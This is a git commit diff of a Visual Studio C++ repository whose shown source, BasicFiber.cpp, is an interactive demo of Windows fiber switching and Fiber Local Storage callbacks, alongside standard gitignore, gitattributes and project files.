First Commit
@@ -0,0 +1,63 @@
|
||||
###############################################################################
|
||||
# Set default behavior to automatically normalize line endings.
|
||||
###############################################################################
|
||||
* text=auto
|
||||
|
||||
###############################################################################
|
||||
# Set default behavior for command prompt diff.
|
||||
#
|
||||
# This is need for earlier builds of msysgit that does not have it on by
|
||||
# default for csharp files.
|
||||
# Note: This is only used by command line
|
||||
###############################################################################
|
||||
#*.cs diff=csharp
|
||||
|
||||
###############################################################################
|
||||
# Set the merge driver for project and solution files
|
||||
#
|
||||
# Merging from the command prompt will add diff markers to the files if there
|
||||
# are conflicts (Merging from VS is not affected by the settings below, in VS
|
||||
# the diff markers are never inserted). Diff markers may cause the following
|
||||
# file extensions to fail to load in VS. An alternative would be to treat
|
||||
# these files as binary and thus will always conflict and require user
|
||||
# intervention with every merge. To do so, just uncomment the entries below
|
||||
###############################################################################
|
||||
#*.sln merge=binary
|
||||
#*.csproj merge=binary
|
||||
#*.vbproj merge=binary
|
||||
#*.vcxproj merge=binary
|
||||
#*.vcproj merge=binary
|
||||
#*.dbproj merge=binary
|
||||
#*.fsproj merge=binary
|
||||
#*.lsproj merge=binary
|
||||
#*.wixproj merge=binary
|
||||
#*.modelproj merge=binary
|
||||
#*.sqlproj merge=binary
|
||||
#*.wwaproj merge=binary
|
||||
|
||||
###############################################################################
|
||||
# behavior for image files
|
||||
#
|
||||
# image files are treated as binary by default.
|
||||
###############################################################################
|
||||
#*.jpg binary
|
||||
#*.png binary
|
||||
#*.gif binary
|
||||
|
||||
###############################################################################
|
||||
# diff behavior for common document formats
|
||||
#
|
||||
# Convert binary document formats to text before diffing them. This feature
|
||||
# is only available from the command line. Turn it on by uncommenting the
|
||||
# entries below.
|
||||
###############################################################################
|
||||
#*.doc diff=astextplain
|
||||
#*.DOC diff=astextplain
|
||||
#*.docx diff=astextplain
|
||||
#*.DOCX diff=astextplain
|
||||
#*.dot diff=astextplain
|
||||
#*.DOT diff=astextplain
|
||||
#*.pdf diff=astextplain
|
||||
#*.PDF diff=astextplain
|
||||
#*.rtf diff=astextplain
|
||||
#*.RTF diff=astextplain
|
||||
@@ -0,0 +1,363 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Oo]ut/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
@@ -0,0 +1,163 @@
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <winnt.h> // Required for callback function
|
||||
|
||||
LPVOID primaryFiber = NULL;
|
||||
LPVOID secondaryFiber = NULL;
|
||||
DWORD flsIndexNumber = 0;
|
||||
|
||||
void MyCallbackFunction(PVOID lpFlsData)
|
||||
{
|
||||
std::cout << "\t\t[!] Hello from inside callback function\n";
|
||||
|
||||
char flsData[8] = "";
|
||||
memcpy(&flsData, lpFlsData, 0x08);
|
||||
|
||||
std::cout << "\t\t[!] Parameter provided to callback function (i.e. FLS Slot value) equals: " << flsData << "\n\n";
|
||||
}
|
||||
|
||||
void SecondaryFiberFunc()
|
||||
{
|
||||
int ch = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
std::cout << "\n[!] Executing as secondary Fiber. Waiting for input ...\n";
|
||||
std::cout << "\t[!] Options:\n";
|
||||
std::cout << "\t[!] Enter 's' to switch to primary fiber\n";
|
||||
std::cout << "\t[!] Enter 'f' to trigger user-defined callback\n";
|
||||
std::cout << "\t[!] Enter 'e' to delete current Fiber and exit\n";
|
||||
|
||||
// Wait for user input
|
||||
ch = std::cin.get();
|
||||
std::cin.ignore(1, 10); // Ignore until 'Enter' i.e. 10 in ASCII
|
||||
// std::cout << ch << "\n";
|
||||
while (ch != 101 && ch != 102 && ch != 115)
|
||||
{
|
||||
std::cout << "\t[+] Invalid option provided, please enter valid option\n";
|
||||
ch = std::cin.get();
|
||||
std::cin.ignore(1, 10);
|
||||
}
|
||||
|
||||
if (ch == 102) // 'f' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Freeing FLS index to trigger callback function\n";
|
||||
if (!FlsFree(flsIndexNumber))
|
||||
{
|
||||
std::cout << "\t\t[!] User defined callback function already freed\n";
|
||||
}
|
||||
}
|
||||
else if (ch == 101) // 'e' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Exiting gracefully using DeleteFiber()\n";
|
||||
// If the currently running fiber calls DeleteFiber, its thread calls ExitThread and terminates
|
||||
DeleteFiber(secondaryFiber);
|
||||
}
|
||||
else if (ch == 115) // 's' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Switching to primaryFiber\n";
|
||||
SwitchToFiber(primaryFiber);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ScheduleFibers()
|
||||
{
|
||||
|
||||
bool first = true;
|
||||
|
||||
// Get the current process ID
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
|
||||
// Print the PID
|
||||
std::cout << "[!] Current Thread ID: " << tid << std::endl;
|
||||
|
||||
// Convert current Thread to a Fiber
|
||||
std::cout << "[+] Converting thread to Fiber\n";
|
||||
primaryFiber = ConvertThreadToFiber(NULL);
|
||||
|
||||
// Create a second fiber
|
||||
secondaryFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(void*)SecondaryFiberFunc, 0);
|
||||
|
||||
// Allocate some Fiber Local Storage (FLS) for primary fiber and set FLS value
|
||||
const char* flsValue = "myValue";
|
||||
std::cout << "[+] Setting callback for primary Fiber & FLS Slot value\n";
|
||||
flsIndexNumber = FlsAlloc((PFLS_CALLBACK_FUNCTION)MyCallbackFunction);
|
||||
FlsSetValue(flsIndexNumber, (PVOID)flsValue);
|
||||
std::cout << "[!] FLS index number: " << flsIndexNumber << "\n";
|
||||
std::cout << "[!] FLS slot value: " << flsValue << "\n";
|
||||
std::cout << "[!] Address of MyCallbackFunction: 0x" << MyCallbackFunction << "\n\n";
|
||||
|
||||
// Execute fiber switching loop.
|
||||
int ch = 0;
|
||||
while (true)
|
||||
{
|
||||
std::cout << "\n[!] Executing as primary Fiber. Waiting for input ...\n";
|
||||
std::cout << "\t[!] Options:\n";
|
||||
std::cout << "\t[!] Enter 's' to switch to secondary fiber\n";
|
||||
std::cout << "\t[!] Enter 'f' to trigger user-defined callback\n";
|
||||
std::cout << "\t[!] Enter 'e' to delete current Fiber and exit\n";
|
||||
|
||||
// Wait for user input
|
||||
ch = std::cin.get();
|
||||
std::cin.ignore(1, 10); // Ignore until 'Enter' i.e. 10 in ASCII
|
||||
// std::cout << ch << "\n";
|
||||
while (ch != 101 && ch != 102 && ch != 115)
|
||||
{
|
||||
std::cout << "\t[-] Invalid option provided, please enter valid option\n";
|
||||
ch = std::cin.get();
|
||||
std::cin.ignore(1, 10);
|
||||
}
|
||||
|
||||
if (ch == 102) // 'f' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Freeing FLS index to trigger callback function\n";
|
||||
if (!FlsFree(flsIndexNumber))
|
||||
{
|
||||
std::cout << "\t\t[!] User defined callback function already freed\n";
|
||||
}
|
||||
}
|
||||
else if (ch == 101) // 'e' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Exiting gracefully using DeleteFiber()\n";
|
||||
// If the currently running fiber calls DeleteFiber, its thread calls ExitThread and terminates
|
||||
DeleteFiber(primaryFiber);
|
||||
}
|
||||
else if (ch == 115) // 's' (lowercase) in ASCII
|
||||
{
|
||||
std::cout << "\t[+] Switching to secondaryFiber\n";
|
||||
SwitchToFiber(secondaryFiber);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
printf(R"EOF(
|
||||
|
||||
______ _ ______ _ _
|
||||
| ___ \ (_) | ___(_) |
|
||||
| |_/ / __ _ ___ _ ___ | |_ _| |__ ___ _ __
|
||||
| ___ \/ _` / __| |/ __| | _| | | '_ \ / _ \ '__|
|
||||
| |_/ / (_| \__ \ | (__ | | | | |_) | __/ |
|
||||
\____/ \__,_|___/_|\___| \_| |_|_.__/ \___|_|
|
||||
|
||||
|
||||
)EOF");
|
||||
printf("\n\n");
|
||||
|
||||
// Get the current process ID
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
|
||||
// Print the PID
|
||||
std::cout << "[!] Current process ID: " << pid << std::endl;
|
||||
|
||||
DWORD tid = 0;
|
||||
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ScheduleFibers, 0, 0, &tid);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{70594f5a-46fc-4ea7-8468-685255f73b28}</ProjectGuid>
|
||||
<RootNamespace>BasicFiber</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="BasicFiber.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="BasicFiber.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 172 KiB |
|
After Width: | Height: | Size: 112 KiB |
|
After Width: | Height: | Size: 114 KiB |
|
After Width: | Height: | Size: 110 KiB |
|
After Width: | Height: | Size: 45 KiB |
|
After Width: | Height: | Size: 186 KiB |
|
After Width: | Height: | Size: 128 KiB |
|
After Width: | Height: | Size: 188 KiB |
|
After Width: | Height: | Size: 117 KiB |
|
After Width: | Height: | Size: 23 KiB |
|
After Width: | Height: | Size: 20 KiB |
|
After Width: | Height: | Size: 70 KiB |
|
After Width: | Height: | Size: 38 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 49 KiB |
@@ -0,0 +1,61 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.33927.289
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BasicFiber", "BasicFiber\BasicFiber.vcxproj", "{70594F5A-46FC-4EA7-8468-685255F73B28}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhantomThread", "PhantomThread\PhantomThread.vcxproj", "{04CBD585-AF9A-4C74-A782-76673D626DE9}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PoisonFiber", "PoisonFiber\PoisonFiber.vcxproj", "{E628052D-2054-4FF2-838D-409A734CBC23}"
|
||||
EndProject
|
||||
